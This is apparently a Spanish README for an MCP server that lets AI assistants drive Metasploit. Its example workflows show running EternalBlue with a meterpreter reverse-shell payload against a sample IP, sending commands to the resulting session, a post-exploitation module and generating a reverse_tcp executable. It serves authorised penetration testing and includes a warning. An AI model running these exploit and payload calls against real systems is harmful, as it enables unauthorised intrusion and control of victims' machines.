Servidor MCP de Metasploit
Un servidor de Protocolo de Contexto de Modelo (MCP) para la integración de Metasploit Framework.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Descripción
Este servidor MCP conecta modelos de lenguaje extensos como Claude con la plataforma de pruebas de penetración Metasploit Framework. Permite a los asistentes de IA acceder y controlar dinámicamente la funcionalidad de Metasploit mediante herramientas estandarizadas, lo que facilita una interfaz de lenguaje natural para flujos de trabajo complejos de pruebas de seguridad.
Características
Información del módulo
- list_exploits : busca y enumera los módulos de explotación de Metasploit disponibles
- list_payloads : busca y enumera los módulos de carga útil de Metasploit disponibles con filtrado opcional de plataforma y arquitectura
Flujo de trabajo de explotación
- run_exploit : Configurar y ejecutar un exploit contra un objetivo con opciones para ejecutar comprobaciones primero
- run_auxiliary_module : ejecuta cualquier módulo auxiliar de Metasploit con opciones personalizadas
- run_post_module : Ejecutar módulos posteriores a la explotación contra sesiones existentes
Generación de carga útil
- generate_payload : Genera archivos de carga útil usando Metasploit RPC (guarda los archivos localmente)
Gestión de sesiones
- list_active_sessions : muestra las sesiones actuales de Metasploit con información detallada
- send_session_command : Ejecuta un comando en una shell activa o una sesión de Meterpreter
- cease_session : Finalizar forzosamente una sesión activa
Gestión de controladores
- list_listeners : muestra todos los controladores activos y trabajos en segundo plano
- start_listener : Crea un nuevo multi/handler para recibir conexiones
- stop_job : Finaliza cualquier trabajo o controlador en ejecución
Prerrequisitos
- Metasploit Framework instalado y msfrpcd ejecutándose
- Python 3.10 o superior
- Paquetes de Python necesarios (consulte requirements.txt)
Instalación
- Clonar este repositorio
- Instalar dependencias:
- Configurar variables de entorno (opcional):
Uso
Inicie el servicio RPC de Metasploit:
Opciones de transporte
El servidor admite dos métodos de transporte:
- HTTP/SSE (eventos enviados por el servidor) : modo predeterminado para la interoperabilidad con la mayoría de los clientes MCP
- STDIO (Entrada/Salida estándar) : se utiliza con Claude Desktop y conexiones de tubería directa similares
Puede seleccionar explícitamente el modo de transporte utilizando el indicador --transport
:
Opciones adicionales para el modo HTTP:
Integración de escritorio de Claude
Para la integración de Claude Desktop, configure claude_desktop_config.json
:
Otros clientes de MCP
Para otros clientes MCP que utilizan HTTP/SSE:
- Inicie el servidor en modo HTTP:
- Configure su cliente MCP para conectarse a:
- Punto final de SSE:
http://your-server-ip:8085/sse
- Punto final de SSE:
Consideraciones de seguridad
⚠️ ADVERTENCIA DE SEGURIDAD IMPORTANTE :
Esta herramienta proporciona acceso directo a las capacidades de Metasploit Framework, que incluyen potentes funciones de explotación. Úsela con responsabilidad y solo en entornos donde tenga permiso explícito para realizar pruebas de seguridad.
- Siempre valide y revise todos los comandos antes de ejecutarlos
- Ejecutar únicamente en entornos de prueba segregados o con la autorización adecuada
- Tenga en cuenta que los comandos posteriores a la explotación pueden provocar modificaciones significativas del sistema.
Flujos de trabajo de ejemplo
Explotación básica
- Lista de exploits disponibles:
list_exploits("ms17_010")
- Seleccione y ejecute un exploit:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
- Lista de sesiones:
list_active_sessions()
- Ejecutar comandos:
send_session_command(1, "whoami")
Post-explotación
- Ejecutar un módulo de publicación:
run_post_module("windows/gather/enum_logged_on_users", 1)
- Enviar comandos personalizados:
send_session_command(1, "sysinfo")
- Terminar cuando haya terminado:
terminate_session(1)
Gestión de controladores
- Iniciar un oyente:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
- Lista de controladores activos:
list_listeners()
- Generar una carga útil:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
- Detener un controlador:
stop_job(1)
Opciones de configuración
Directorio de guardado de carga útil
De forma predeterminada, las cargas útiles generadas con generate_payload
se guardan en un directorio payloads
en su carpeta de inicio ( ~/payloads
o C:\Users\YourUsername\payloads
). Puede personalizar esta ubicación configurando la variable de entorno PAYLOAD_SAVE_DIR
.
Configuración de la variable de entorno:
- Ventanas (PowerShell) :
- Windows (Símbolo del sistema) :
- Linux/macOS :
- En la configuración de Claude Desktop :
Nota: Si especifica una ruta personalizada, asegúrese de que exista o de que la aplicación tenga permiso para crearla. Si la ruta no es válida, la generación de la carga útil podría fallar.
Licencia
Apache 2.0
This server cannot be installed
hybrid server
The server is able to function both locally and remotely, depending on the configuration or use case.
Proporciona un puente entre los modelos de lenguaje grandes y el marco Metasploit, lo que permite a los asistentes de IA acceder y controlar la funcionalidad de pruebas de penetración a través del lenguaje natural.
Related MCP Servers
- -securityFlicense-qualityA demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.Last updated -11Python
- -securityFlicense-qualityEnables AI assistants to interact with Metabase, providing access to dashboards, questions, databases, and tools for executing queries and viewing data through natural language.Last updated -JavaScript
- AsecurityFlicenseAqualityA Model Context Protocol server that allows AI assistants to execute and manage JMeter performance tests through natural language commands.Last updated -227Python
- -security-license-qualityA module that enables AI assistants to access and utilize common penetration testing and security tools like Nmap and Metasploit through a simple interface.Last updated -PythonGPL 3.0